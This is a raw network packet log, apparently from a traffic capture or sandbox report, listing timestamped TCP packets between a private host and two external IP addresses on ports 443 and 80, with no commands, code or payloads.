Jan 14, 2022 20:30:05.778914928 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.780019045 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.780059099 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.780121088 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.780129910 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.780167103 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.780185938 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.780610085 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.780649900 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.780826092 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.780838013 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.780885935 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.781552076 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.781594038 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.781636000 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.781646967 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.781677961 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.781699896 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.801376104 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.801418066 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.801489115 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.801511049 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.801549911 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.801570892 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.802309990 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.802345037 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.802402020 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.802416086 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.802453041 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.802479982 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.803299904 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.803333044 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.803385019 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.803395033 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.803433895 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.803457975 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.804043055 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.804080009 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.804160118 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.804172993 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.804227114 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.804673910 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.804703951 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.804779053 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.804790020 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.804841042 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.817783117 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.824278116 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.824337959 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.824373960 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.824393988 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.824445963 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.824469090 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.825484991 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.825520992 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.825571060 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.825586081 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.825627089 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.825650930 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.826024055 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.826057911 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.826100111 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.826107979 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.826178074 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.827291965 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.827332973 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.827392101 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.827405930 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.827420950 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.827456951 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.827747107 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.827785015 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.827851057 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.827864885 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.827908039 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.828341007 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.828376055 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.828445911 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.828458071 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.828520060 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.837357044 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.847841978 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.847888947 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.847959042 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.847975969 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.848001003 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.848031044 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.849008083 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.849045038 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.849219084 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.849231005 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.849272966 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.849812984 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.849868059 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.849901915 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.849910975 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.849968910 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.850644112 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.850681067 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.850727081 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.850735903 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.850770950 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.850804090 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.851413012 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.851447105 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.851494074 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.851502895 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.851560116 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.853296995 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.864824057 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:05.865808964 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:05.868743896 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:05.870707989 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.870745897 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.870791912 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.870805979 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.870848894 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.871267080 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.871299028 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.871345043 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.871354103 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.871402025 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.872220993 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.872251987 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.872318029 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.872327089 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.872373104 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.872987986 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.873023033 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.873081923 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.873092890 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.873121023 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.873145103 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.873764992 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.873809099 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.873863935 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.873876095 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.873919964 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.873944998 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.874677896 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.874711037 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.874763012 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.874774933 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.874815941 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.893889904 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.893934011 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.894011021 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.894027948 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.894078016 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.894117117 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.894150972 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.894222021 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.894229889 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.894272089 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.895539045 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.895572901 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.895648003 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.895661116 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.895705938 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.895992994 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.896034956 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.896090031 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.896101952 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.896143913 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.896173954 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.897064924 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.897097111 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.897150993 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.897161961 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.897192955 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.897218943 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.897588968 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.897623062 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.897667885 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.897677898 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.897720098 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.897800922 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.898317099 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.898353100 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.898411989 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.898421049 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.898449898 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.898475885 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.917361021 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.917402983 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.917481899 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.917498112 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.917608976 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.917653084 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.917932987 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.918503046 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.918539047 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.918605089 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.918617010 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.918651104 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.918684006 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.918822050 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.918858051 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.918895006 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.918903112 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.918943882 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.918967962 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.920212984 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.920248985 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.920324087 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.920336008 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.920382023 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.920782089 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.920818090 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.920861959 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.920871019 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.920911074 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.920934916 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.921627998 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.921659946 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.921714067 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.921726942 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.921762943 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.921793938 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.921926022 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.921964884 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.922007084 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.922018051 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.922048092 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.922075987 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.923140049 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.940653086 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.940695047 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.940783978 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.940807104 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.940865040 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.941878080 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.941915989 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.941972971 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.941986084 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.942013979 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.942043066 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.942313910 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.942346096 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.942390919 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.942401886 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.942439079 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.942467928 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.943821907 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.943861008 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.943924904 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.943938017 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.943979025 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.944013119 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.944127083 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.944154978 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.944199085 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.944211960 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.944240093 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.944269896 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.944828987 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.944865942 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.944904089 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.944916964 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.944957018 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.944981098 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.945250988 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.945338964 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.945374012 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.945415020 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.945422888 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.945456982 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.945487976 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.964015007 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.964057922 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.964098930 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.964119911 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.964144945 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.964169025 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.965107918 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.965142965 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.965226889 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.965241909 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.965296030 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.965436935 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.965471983 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.965533972 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.965543985 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.965673923 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.966950893 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.966989040 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.967042923 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.967053890 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.967104912 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.967238903 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.967276096 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.967322111 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.967331886 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.967363119 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.967382908 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.967905045 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.967937946 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.967989922 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.968000889 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.968054056 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.968307972 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.968341112 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.968391895 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.968400955 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.968430042 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.968456984 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.972040892 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:05.972067118 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:05.972088099 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:05.972103119 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:05.972119093 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:05.972135067 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:05.972145081 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:05.972151041 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:05.972168922 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:05.972184896 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:05.972187042 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:05.972202063 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:05.972227097 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:05.972249985 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:05.987112045 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.987140894 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.987194061 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.987212896 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.987241983 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.987272024 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.987971067 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.987996101 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.988065958 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.988076925 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.988171101 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.988375902 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.988399029 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.988456964 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.988466978 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.988511086 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.988878012 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.988899946 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.988939047 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.988950014 CET	443	49890	144.76.136.153	192.168.2.4
